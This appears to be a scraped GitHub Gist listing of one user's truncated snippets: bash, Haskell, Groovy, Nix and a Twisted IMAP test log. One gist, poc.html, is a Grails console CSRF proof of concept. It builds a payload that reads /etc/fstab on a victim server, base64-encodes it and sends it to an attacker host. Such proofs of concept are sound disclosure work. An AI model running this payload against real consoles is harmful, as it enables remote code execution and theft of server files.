Skip to content

Instantly share code, notes, and snippets.

{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE FlexibleInstances #-}
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE TemplateHaskell #-}
import Prelude hiding (writeFile)
import Control.Monad (MonadPlus (..))
import Control.Monad.TestFixture
@berdario
berdario / gist:da882abe5ba77533edf7f43872b8b80e
Last active October 12, 2016 08:06
How to write to a file in bash without reopening the file multiple times
exec 3> /tmp/foo
echo "1" >&3
echo "2" >&3
exec 3>&-
_
@berdario
berdario / -
Created September 18, 2016 18:58
twisted.mail.test.test_imap
AuthenticatorTests
testCramMD5 ... [OK]
testFailedCramMD5 ... [OK]
testFailedLOGIN ... [OK]
testFailedPLAIN ... [OK]
testLOGIN ... [OK]
testPLAIN ... [OK]
ClientCapabilityTests
test_categoryAtoms ... [OK]
@berdario
berdario / Bar.groovy
Last active September 12, 2016 22:03
package foo
class Bar {
static final map = foo
static final foo = [1,2,3]
}
@berdario
berdario / poc.html
Created August 8, 2016 13:17
Grails console CSRF proof of concept
<html>
<body>
<script>
consoleUrl = 'https://victim.example.com/path/to/console'
attackerHost = 'http://localhost:7979/'
code = `new URL('${attackerHost}'+new File('/etc/fstab').bytes.encodeBase64()).getText()`
code = `evaluate new String('${btoa(code)}'.decodeBase64())` // optional, useful to transmit the payload as a GET argument
function newFrame(content){
@berdario
berdario / foo2.hs
Created July 22, 2016 14:19
Constant Applicative Form sharing/evaluation (will get different output in ghci or when compiled)
foo :: String -> IO ()
foo dummy = do
let (x, y) = (1, 1)
(x, y) <- pure $ (trace "x" (x+1), (trace "y" y*3)
print $ show (y + y) <> dummy
print $ show (x + x) <> dummy
foo2 x = foo (trace "outerfoo" "foo")
foo3 xs dummy = print $ show (map (+1) xs) <> dummy
@berdario
berdario / foo.hs
Created July 22, 2016 10:38
State monad does not force ordering
import Control.Monad.State (execState, get, modify)
import Debug.Trace (trace)
foo :: IO ()
foo = do
(x, y) <- pure $ flip execState (1,1) $ do
(x, y) <- get
modify (\(x, y) -> (trace "x1" (x+1), (trace "y1" y)))
(x, y) <- get
{
master = pkgs.python35Packages.buildPythonApplication (inputs // {
preUnpackHook = ''
PDIR = $(pwd)
echo "qui: $PDIR"
cd $(mktemp -d)
git clone $PDIR .
export sourceRoot="./checkprices"
'';
checkPhase = "env MYPYPATH=$PWD/stubs py.test";
let
pkgs = import ./channel.nix;
foo_project = import foo/default.nix;
main_service = cmd: {
wantedBy = [ "multi-user.target" ]; # Specify that the system wants this service to run.
after = [ "network.target" ]; # Start the webserver after the network has come up.
serviceConfig = {
ExecStart = cmd;
User = "nobody";